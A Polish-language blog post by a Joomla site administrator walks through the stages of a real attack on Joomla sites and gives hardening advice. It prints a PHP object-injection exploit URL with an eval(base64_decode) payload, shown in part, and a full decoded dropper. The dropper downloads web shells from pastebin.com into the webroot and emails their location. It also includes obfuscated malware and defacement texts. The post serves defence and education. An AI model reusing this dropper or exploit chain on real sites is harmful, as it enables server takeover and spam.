Poniżej przedstawiam schemat typowego przebiegu włamania do serwerów z zainstalowaną Joomlą opracowany na podstawie własnych doświadczeń z prowadzenia niniejszej witryny. Pozwoli to wam na zorientowanie się co się dzieje z waszymi stronami, czy jesteście atakowani, czy atak się powiódł, oraz jak usunąć skutki włamania i zabezpieczyć się na przyszłość, w czym powinny pomóc wam moje porady.

UWAGA: wszystkie podane dalej linki i fragmenty logów i skryptów są autentyczne i pochodzą z późniejszych prób podobnego włamania na witrynę mielecin.pl, którego usiłował dokonać kurdyjski haker o pseudonimie Sniper i inni nie ustaleni.

Warto na wstępie wspomnieć, że hakerzy nie zawsze, a nawet rzadko, siedzą sami przy komputerze i ręcznie grzebią w waszych witrynach - najczęściej wszystko jest zautomatyzowane z pomocą skryptów wykonywanych przez ich komputery lub inne komputery rozsiane po całym świecie. Dlatego używane przeze mnie tutaj słowo "haker" można rozumieć także jako skrypt wykonywany na komputerze należącym do lub przejętym przez hakera. 

 

  1. Pierwsze, co robi haker, to skanuje waszą witrynę w poszukiwaniu instalacji CMS’a, do którego posiada exploity (mówiąc w uproszczeniu - opracowane gotowe sposoby włamania).
    Skanowanie polega na próbie otwarcia stron znajdujących się w typowych dla danego CMS’a lokalizacjach. W przypadku Joomli zazwyczaj jest to próba otwarcia strony logowania do panelu administratora: np. nazwa_domeny.pl/administrator.
    Ci bardziej dociekliwi hakerzy mogą próbować znaleźć informację o wersji Joomli, np. analizując wygląd i źródło strony logowania albo strony głównej. Jeżeli gdzieś wyświetla się numer wersji, to haker już wie czy zaraz się włamie, czy ma próbować dalej, tudzież sobie odpuścić.

    UWAGA: hakerzy uwielbiają stare, nieaktualne wersje Joomli - wszak do każdej z ich mają w 100% skuteczne, gotowe skrypty - po kilku kliknięciach mogą czuć się na waszych serwerach jak u siebie w domu.

    JAK ROZPOZNAĆ ETAP 1:
    W logach serwera znajdują się takie przykładowe pozycje:
    Odpowiedź serwera 404 oznacza, że pudło. 401 - dostęp zabroniony, a więc trafiony, ale chroniony. Odpowiedź 200 - trafiony; można przejść do drugiego etapu.


  2. Skoro haker już wie, że macie zainstalowaną Joomlę (najlepiej nieaktualną), to do paska adresu wkleja taki mniej więcej odnośnik zawierający zakodowany skrypt:
    www.przykładowadomena.pl/index.php?__test|O:21:\"JDatabaseDriverMysqli\":3:{s:2:\"fc\";O:17:\"JSimplepieFactory\":0:{}s:21:\
    "\\0\\0\\0disconnectHandlers\";a:1:{i:0;a:2:{i:0;O:9:\"SimplePie\":5:{s:8:\"sanitize\";O:20:\"JDatabaseDriverMysql\
    ":0:{}s:8:\"feed_url\";s:3670:\"eval(base64_decode('JGNoZWNrID0gJF

    (...)ciach ciach - 30 linijek niby przypadkowych literek (...)

    ScpKTsNCmZjbG9zZSgkZnApOw=='));JFactory::getConfig();exit\";s:19:\"cache_name_function\";s:6:\"assert\";s:5:\
    "cache\";b:1;s:11:\"cache_class\";O:20:\"JDatabaseDriverMysql\":0:{}}i:1;s:4:\"init\";}}s:13:\"\\0\\0\\0
    connection\";b:1;}\xf0\xfd\xfd\xfd"


    Skąd wiadomo, że to skrypt - i co on robi?
    Żeby nie komplikować za bardzo powiem tak oględnie, że Joomla na waszej witrynie próbując przetworzyć taki link głupieje i traktuje go jako polecenie. A jak się przyjrzycie, to zauważycie pewne słowa kluczowe znane nie tylko webowym programistom. W tym wypadku rzuca się w oczy polecenie eval(base64_decode('cośtam-smośtam-na-kilka-tysięcy-znaków=='). To tutaj zaciemniony algorytmem Base64 znajduje się właściwy skrypt dający hakerowi władzę nad waszymi serwerami.
    Ponieważ wasza Joomla jest w tej chwili ogłupiona dziwnym odnośnikiem, nie szuka w swojej bazie artykułu odpowiadającego linkowi, lecz wykonuje z niego polecenia traktując go jako rozkaz. Czyli witryna zaczyna dekodować zaciemnioną treść, a następnie ją wykonuje.

    Fragment zaciemniony algorytmem Base64 wygląda po rozkodowaniu mniej więcej tak:



    Widzimy, że skrypt przesłany w linku z przeglądarki tworzy plik xxxx.php w folderze media naszej Joomli, po czym wypełnia go treścią... znów zaciemnioną algorytmem Base64. No to zdekodujmy co ma się znaleźć w pliku xxxx.php, który zostanie przez hakera uruchomiony w następnym etapie...

    <?php
    function http_get($url){
        $im = curl_init($url);
        curl_setopt($im, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10);
        curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($im, CURLOPT_HEADER, 0);
        return curl_exec($im);
        curl_close($im);
    }
    $check = $_SERVER['DOCUMENT_ROOT'] . "/media/css.php" ;
    $text = http_get('http://pastebin.com/raw/fitDpuFR');
    $open = fopen($check, 'w');
    fwrite($open, $text);
    fclose($open);
    if(file_exists($check)){
        echo $check."</br>";
    }else
      echo "not exits";
    echo "done .\n " ;
    $check2 = $_SERVER['DOCUMENT_ROOT'] . "/media/jmail.php" ;
    $text2 = http_get('http://pastebin.com/raw/YHfMckFW');
    $open2 = fopen($check2, 'w');
    fwrite($open2, $text2);
    fclose($open2);
    if(file_exists($check2)){
        echo $check2."</br>";
    }else
      echo "not exits2";
    echo "done2 .\n " ;

    $check3=$_SERVER['DOCUMENT_ROOT'] . "/sniper.htm" ;
    $text3 = http_get('http://pastebin.com/raw/y3fKekJR');
    $op3=fopen($check3, 'w');
    fwrite($op3,$text3);
    fclose($op3);

    $check4=$_SERVER['DOCUMENT_ROOT'] . "/media/check.php" ;
    $text4 = http_get('http://pastebin.com/raw/PUHrzD8i');
    $op4=fopen($check4, 'w');
    fwrite($op4,$text4);
    fclose($op4);

    $check5=$_SERVER['DOCUMENT_ROOT'] . "//media/jmails.php" ;
    $text5 = http_get('http://pastebin.com/raw/hga1ERSc');
    $op5=fopen($check5, 'w');
    fwrite($op5,$text5);
    fclose($op5);

    $check6=$_SERVER['DOCUMENT_ROOT'] . "/libraries/joomla/session/session.php" ;
    $text6 = http_get('http://pastebin.com/raw/UHAGT887');
    $op6=fopen($check6, 'w');
    fwrite($op6,$text6);
    fclose($op6);

    $toz = "";
    $subject = 'Jom zzz ' . $_SERVER['SERVER_NAME'];
    $header = 'from: Kekkai Sensen <Ten adres pocztowy jest chroniony przed spamowaniem. Aby go zobaczyć, konieczne jest włączenie w przeglądarce obsługi JavaScript.>' . "\r\n";
    $message = "Shellz : http://" . $_SERVER['SERVER_NAME'] . "/libraries/joomla/jmail.php?u" . "\r\n" . php_uname() . "\r\n";
    $sentmail = @mail($toz, $subject, $message, $header);

    @unlink(__FILE__);


    ?>

    Uff, koniec z szyfrowaniem, w końcu przejrzysty PHP. No i co nam ten plik mówi?
    Haker wiedząc, że włamanie się powiodło wie także, że został w katalogu media utworzony plik xxxx.php, zatem do przeglądarki wpisuje taki link: www.atakowanadomena.pl/media/xxxx.php.

    W tym momencie zostaje wykonany skrypt, który na naszym serwerze w określonych z góry lokalizacjach tworzy pliki PHP o określonych nazwach, po czym pobiera ich zawartość z zewnętrznego serwera i zapisuje ją w plikach - w tym przypadku z pastebin.com. To są te wszystkie narzędzia, o których była mowa wcześniej.
    Teraz już nasza witryna leży i kwiczy. Haker właśnie przed chwilą wgrał na nią wszystko, czego potrzebował - obecnie może nią dowolnie sterować, np. wysyłać e-maile, dodawać i usuwać pliki albo skasować całą witrynę jednym kliknięciem... Włamanie i przejęcie pełnej kontroli właśnie stało się faktem.

    JAK ROZPOZNAĆ ETAP 2:
    W logach serwera są takie pozycje:



    Jeżeli w linii, gdzie jest uwidoczniony plik xxxx.php będzie odpowiedź 200, atak powiódł się. W powyższym zrzucie atak był nieudany, mimo że mamy odpowiedź 200 (czyli OK) przy wysyłaniu złośliwego kodu w linku - wynika to z zabezpieczeń zaimplementowanych na witrynie mielecin.pl.


  3. Jeżeli wszystko przebiegło pomyślnie, haker mając pełną i nieskrępowaną kontrolę nad naszą witryną:
    1. wgrywa spreparowany sitemap.xml zastępując wasz oryginalny (jeżeli istniał)
    2. dodaje specjalne wpisy do .htaccess
    3. lekko modyfikuje index.php, dzięki czemu zaczynają działać fałszywe linki z sitemap.xml przekierowując użytkowników na właściwą witrynę, np. sklepów z Viagrą itp.
    4. niekiedy przyspiesza indeksowanie w Google rejestrując waszą witrynę w Konsoli Wyszukiwania jako swoją własność. Objawem tego jest pojawienie się w katalogu głównym pliku o nazwie podobnej do google(16cyfr-i-liter).html. Oczywiście jeżeli posiadacie konto w Konsoli Wyszukiwania, to dostaniecie powiadomienie, że jest nowy właściciel waszej witryny.
    5. jeżeli ma takie zamówienie, wykorzystuje wgrany przez siebie skrypt do obsługi poczty e-mail i wysyła tyle spamu, ile wlezie.
    6. wśród wgranych skryptów znajdują się jeszcze inne narzędzia, z pomocą których haker może np. całkowicie zniszczyć waszą witrynę. Ale to się raczej nie zdarza.
    7. Od czasu do czasu haker wraca na witrynę sprawdzić czy jego włamanie pozostało niezauważone i/lub wysłać kolejną porcję spamu. Jeżeli odkryje, że witryna została przywrócona do stanu sprzed włamania, próbuje wykorzystać jeden z wgranych przez siebie wcześniej backdoorów (tylnej furtki), tudzież podejmuje próbę ponownego włamania.
      Jeżeli nie zainstalowaliście najnowszej Joomli i nie zastosowaliście dodatkowych zabezpieczeń, cała historia zaczyna się powtarzać.

      JAK ROZPOZNAĆ ETAP 3:
      Hakerzy spamujący boją się wykrycia swoich działań przez właścicieli przejętych witryn, dlatego na każdym etapie zachowują ostrożność. Jasne jest, że wykrycie włamania to przeważnie utrata profitu. Stąd dla swoich skryptów wybierają nazwy neutralne, sprawiające wrażenie systemowych. Po ich otwarciu wykrycie nadużyć bywa utrudniane przez różne zabiegi.
      Najbardziej prymitywnym sposobem ukrycia treści skryptu jest spacjowanie. Polega to na wstawieniu kilkudziesięciu czy kilkuset spacji na początku pliku. W efekcie tego zabiegu użytkownik pobieżnie sprawdzający zawartość swojego serwera może nie zauważyć nieprawidłowości jeżeli w swoim edytorze nie ma włączonej opcji zawijania wierszy.
      Oto przykład. Plik functions.php (bardzo poważna, systemowa niejako nazwa) w edytorze bez zawijania wierszy:



      Z włączonym zawijaniem wierszy wygląda tak:




      Dodatkowo treść tego pliku jest zaciemniona i wymaga dodatkowego rozszyfrowywania.
      I to jest ten drugi sposób ukrywania swojego działania przez hakerów - zaciemnione, czyli w nomenklaturze informatycznej: obfuskowane pliki.

      Przykład obfuskacji w pliku stat.php wgranym przez hakera poniżej:

      <?php
      function lbbe5bd6b5b1b371330fc197e85d8faeeda8d31(){}
      function lbbb64972a71893038184348194439206f2b86b7b6(){$i0ccdb47=406; return $i0ccdb47/7168;}
      function lbbd6f597bdddd3586a4fcf767667458690fc6a4edfdbcd7f5922(){for($e7f7=210;$e7f7<29801;$e7f7++){if($e7f7!=21981) break;}}
      function lbbb604ba3d1e8341acd8c462567168f3a53278a589b598dc78(){for($e7f7=153;$e7f7<28845;$e7f7-=34){if($e7f7!=16257) break;}}
      function lbbdfea35e7773f3bffdaedb7c52efbb6eef61(){}
      function lbbb3f9b0d7ab3f7(){$i0ccdb47=4554; return $i0ccdb47%11316;}
      function lbbcfc73b76fb55(){$i0ccdb47=5591; return $i0ccdb47*12353;}
      function lbb64bbdc00f4204fe6(){for($e7f7=123;$e7f7<24065;$e7f7+=1){if($e7f7!=20405) break;}}
      function lbb1d07d0409aba5be3b70667edc717a(){}
      function lbbb1174c20cbdef77c377ae74cec56923b8bdc8e(){}
      function lbbf387730df9713873b59cdec8092337c6821fbd4(){$w8309e=false; return !$w8309e;}
      function lbb93f9847eb8de6a306145e5df506e535773c8d6fcaa5cec9def187b(){$i0ccdb47=30022; return $i0ccdb47%4016;}
      function lbbde373fbf5e9e9fbce197ceb3c7fb577786a7fa954d8b7(){$i0ccdb47=31059; return $i0ccdb47/31060;}
      

      (...)



      Tak więc jeżeli widzisz na swoim serwerze pliki utworzone w dniach, w których nic nań nie wgrywałeś, a dodatkowo wyglądają tak, jak zilustrowałem to powyżej, to wiedz, że coś się dzieje ;-)

ZAKOŃCZENIE

 

Niestety, nie istnieje idealne zabezpieczenie przed włamaniem na żadną witrynę. Najlepiej jest posiadać własny CMS. Niestety, takie rozwiązanie jest kosztowne. W przypadku witryn prowadzonych przez hobbistów, jakim i ja jestem, trzeba korzystać z własnej wiedzy i ewentualnie darmowych rozwiązań. Jednym z najlepszych jest w mojej opinii dodatek do Joomli o nazwie jHackGuard. Wychwytuje i neutralizuje większość typowych ataków opartych o słabości PHP i SQL. Przykładowy log jHackGuard z ataków na mielecin.pl na zrzucie poniżej:

Jeden z hakerów o pseudonimie Bala Sniper w razie czego chciał podmienić stronę główną mielecin.pl i zamieścić następującą treść:

BALA SNIPER Was Here

'Hacked By BALA SNIPER'
"Hacked? BALA SNIPER ?, Why ? ~"
"$ You will never know the true answer, before you try. $"
"Kurdish Hacker Was Here "
Ten adres pocztowy jest chroniony przed spamowaniem. Aby go zobaczyć, konieczne jest włączenie w przeglądarce obsługi JavaScript.
Kurdish Hacker Was Here

FreeDom For Kurdistan ,Long Live To Peshmarga , Fuck ISIS , Fuck Turkey , Help Kurdistan For Been Freedom , Thanks To All My Freind

Inny haker, w4l3XzY3, przygotował sobie taką wizytówkę:

HaCkeD by w4l3XzY3

Ten adres pocztowy jest chroniony przed spamowaniem. Aby go zobaczyć, konieczne jest włączenie w przeglądarce obsługi JavaScript.

GreeTz 2 :- aBu.HaliL501 | TiGER-M@TE | Neo-HaXoR | HolaKo | GeL-Dz | MagNom and all my friends....

Obie przykładowe wizytówki okroiłem z formatowania i obrazków, bo w sumie nie są tu potrzebne. Najważniejsze, że skrypty do podmiany strony nie zostały wgrane - po prostu nie udało im się pokonać wszystkich zabezpieczeń witryny mielecin.pl, zaś ja je pozyskałem pobierając wprost z serwerów kontrolowanych przez wspomnianych hakerów w trakcie analizy logów i dekodowania zaciemnionych treści.

W każdym razie smuci mnie fakt, że zaatakował moją witrynę kurdyjski bojownik, którego popieram. Jestem za niepodległością Kurdystanu, popieram Peshmargę, wkurza mnie ISIS i Turcja. A jednak facet uznał mnie za wroga i zaatakował... Mam nadzieję, że może kiedyś spotkamy się przy piwie i pośmiejemy z całej tej sytuacji ;-)


Podsumowując: moje zalecenia dotyczące zabezpieczenia Joomili w skrócie są następujące:

  • Aktualizacja Joomli na bieżąco do najnowszej dostępnej wersji.
  • Utworzenie hasła dostępu do katalogu /administrator/ - przy czym hasło powinno być podobnie skomplikowane, jak hasło do zaplecza witryny i bynajmniej nie to samo. Wiem, że podwójna autoryzacja bywa wkurzająca, ale to jest mus.
  • Zmiana loginu na cokolwiek innego, niż admin/administrator oraz hasła na zawierające minimum jedną dużą literę, cyfrę i znak specjalny, optymalnie o długości minimum 8 znaków.
  • A to mój patent na początkujących hakerów: jeżeli w konfiguracji serwera priorytet ma typ plików *.htm nad *.php, to możemy zrobić sztuczny efekt nie istnienia danego katalogu. W tym celu tworzymy pliki index.html w większości typowych lokalizacji dla Joomli o treści takiej, jaką zwraca błąd 404 serwera Apache. Czyli tworzymy fałszywe "Nie znaleziono pliku" umieszczajęc je w piku indexu.


    Duża część początkujących hakerów zrezygnuje z ataku widząc komunikat 404 i będąc przezeń przekonanymi, że dana lokalizacja nie istnieje, ponieważ po wywołaniu danego katalogu dostaną zwrotnie treść z index.html zamiast treści z index.php. W przypadku Joomli w w każdym niemal katalogu znajduje się pusty index.php właśnie na taką okazję, ja tutaj trochę rozwinąłem pomysł wprowadzajuąc element zaskoczenia i niepewności.
  • Zainstalowanie dodatku jHackGuard.

Myślę, że tyle wystarczy, aby wasza witryna oparta o najnowszą Joomlę była całkiem bezpieczna i w miarę odporna na nowe zagrożenia. Pamiętajmy, że nie ma 100% skutecznych zabezpieczeń, ale życia hakerom ułatwiać też nie musimy.


Admin